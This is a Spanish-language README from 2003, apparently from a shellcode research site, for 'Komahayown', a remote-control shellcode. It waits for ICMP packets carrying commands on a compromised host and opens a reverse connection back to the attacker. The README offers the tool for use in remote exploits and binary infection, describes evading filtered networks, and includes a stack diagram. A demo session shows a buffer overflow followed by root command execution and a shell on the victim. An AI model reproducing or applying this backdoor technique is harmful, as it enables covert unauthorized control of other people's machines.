** ** (c)1999-2003 Shellcode Research. ** http://www.shellcode.com.ar ** (The great Commander) ||| | ||| ||| ||| | | - K o m a h a y o w n - Version 0.2b by Matias Sedalo --[ TODO - Envio del paquete ICMP encriptado. - Tipos de paquetes ICMP en forma aleatoria. - Sesiones guardadas por Hostname con sus puertos salientes. - Alternar entre TCP y UDP en la conexion inversa. - Permitir la conexion inversa en el cliente solo desde la victima. - Historial de comandos en la consola cliente. - Autocomplete de comandos en la consola cliente. - Optimizacion del codigo para la shellcode final. - Version de escaneo inverso, y escaneo de puertos. - Permitir n-bytes y n-argumentos. (utopico?) --[ Introduccion Komahayown 0.2b es la primer version de una nueva filosofia de shellcodes para el control remoto. Esta directamente ligado con el metodo "Syscall Proxying" que empezo la gente de CORE puntual- mente Maximiliano Caceres. http://www.shellcode.com.ar/docz/asm/SyscallProxying.pdf El objetivo fundamental de Komahayown es poder librar en la maquina victima(llamesmola destino) una shellcode capas de realizar todas las operaciones que comunmente realizamos, sin la necesidad de estar logueados en el equipo. Muchas veces encontramos equipos dando vuelta que poseen no solo la entrada sino tambien la salida filtrada por lo cual nos complica un poco el asunto. Esto podria ayudarnos a no perder demasiado el tiempo en esos casos. La shellcode provista en kmh_scode.c puede ser utilizada en exploits remotos, y su codigo fuente kmh_asm.c podra utilizarse tanto sea para su modificacion como para la infeccion de binarios u otras yerbas. Con un simple fork inicial todo funcionaria bien. --[ Ejecucion Remota Vean el WorkFlow kmh_wflow.jpg. A diferencia del metodo original "Syscall Proxying" que por cierto es mas que bueno, Komahayown utilizara los programas existentes en el equipo. Por ende, el codigo requiere menos trabajo. :-) Ahora bien una vez que se halla ejecutado la shellcode en destino estaremos en condiciones de que nuestro comandante le pase a la shellcode lo que necesita. En el paquete ICMP debera viajar: - Un identificador de paquete. - Un numero de puerto que es generado aleatoriamente. - Y el comando a ejecutar.(maximo 46 bytes) Un vez enviado el paquete el comandante aguarda su respuesta a traves del puerto definido. Ademas de mostrarnos el resultado nos permite interactuar con el mismo, como en caso de ejecutar algo del tipo telnet ftp, etc. En esta version lamento decirles que no todo es tan feliz, y que aun existen varias restricciones: - El comando solo permite 1 solo argumento. - Es necesario poner el PATH completo en cada comando, por ejemplo: /bin/ps en lugar de ps solo - La linea completa de la consola no puede pasar los 46 bytes. Recuerden ademas que actualmente la shellcode no terminara su ejecucion hasta que no se termine el proceso, aunque de la consola(comandante) se sale tipeando un simple exit. Si ya se que es posible forkear la shellcode y no sumaria mas de 5 bytes pero tambien habria que agregarle que termine en algun momento, ya quedara siempre esperando un paquete ICMP identificado. --[ Shellcode. Quizas a muchos no les interese esto pero he decidido graficar un poco sobre el manejo del stack de la shellcode. Puedo decir que el stack sufre de tres estados durante su ejecucion, una durante la espera y recepcion del paquete ICMP, otra en la preparacion de los datos para la conexion inversa y por ultimo la ejecucion. Tratare de graficarlo lo mejor posible, y si tienen idea de assembler y siguen el grafico de abajo se daran cuenta de todo. 1er Estado 2do estado 3er estado TOP Recepcion Conexion Inversa Ejecucion 0x04 ---------- > esp<->ebp < ---------- ----------- 0x08 ---------- 0x0c Source IP ----+ ---------- | 0x10 Dest IP | ---------- | +--> *--------- 0x14 Port| type | | Port| 2 <- AF_INET (struct) ---------- | | ---------- ----------- -> ecx 0x18 ////| ID --------> Source IP +-- & address ---------- | ---------- | ----------- 0x1c CommandLen | +-|-- & address -> ebx ---------- | | | ----------- 0x20 NULL | | | NULL 0x24 ---------- | | | ----------- .... command | | +-> *command .... NULL | | NULL .... arg | +---> *arg 0x54 ---------- | ----------- NULL | (struct) NULL ---------- | ---------- ----------- 0x58 ////////// | fd 2 ---------- | ---------- 0x5c fd 1 +--- & address ---------- ---------- ----------\ Size ----------| Socket() ---------- ---------- ebp->----------/ ----------<-esp <-> ebp -> ---------- --[ Demostracion. Sobre un simple buffer overflow remoto de un servicio cualquiera he pasado la shellcode para poder probar la ejecucion del gran comandante. /Komahayown-0.2b# ./kmh_client (c)2003 Komahayown (The great Commander) Version 0.2b by Matias Sedalo usage: ./kmh_client [hostname] [seed] Entonces pasaremos como argumento el destino y la semilla que hallamos definido en la shellcode. /Komahayown-0.2b# ./kmh_client gohan 0x01d3 [ * ] Activing interface to gohan. [ H ] The command needs the complete PATH [ H ] This version only supports 1 argument (total 46 bytes) cmd(gohan)$$ id <<<<<< INCORRECTO falta el PATH [ * ] Waiting on port 7485 ... [ ! ] Failed. cmd(gohan)$$ /bin/id -a [ * ] Waiting on port 39814 ... [ * ] gotcha! uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy) cmd(gohan)$$ /bin/sh [ * ] Waiting on port 48920 ... id [ * ] gotcha! uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy) uname -a Linux gohan 2.2.21 #8 Tue Apr 23 18:15:11 ART 2002 i686 unknown exit cmd(mothership)$$ /bin/ls / [ * ] Waiting on port 52659 ... [ * ] gotcha! bin boot cdrom dev etc [...] --[ Despedida. Bueno agradezco el apollo de toda la gente que me envia material, y de aquellos que siguen creyendo en la filosofia de 'Shellcode.com.ar.' _Dedicado_a_la_memoria_de_la_gente_asesinada_en_IRAK_ _EOF_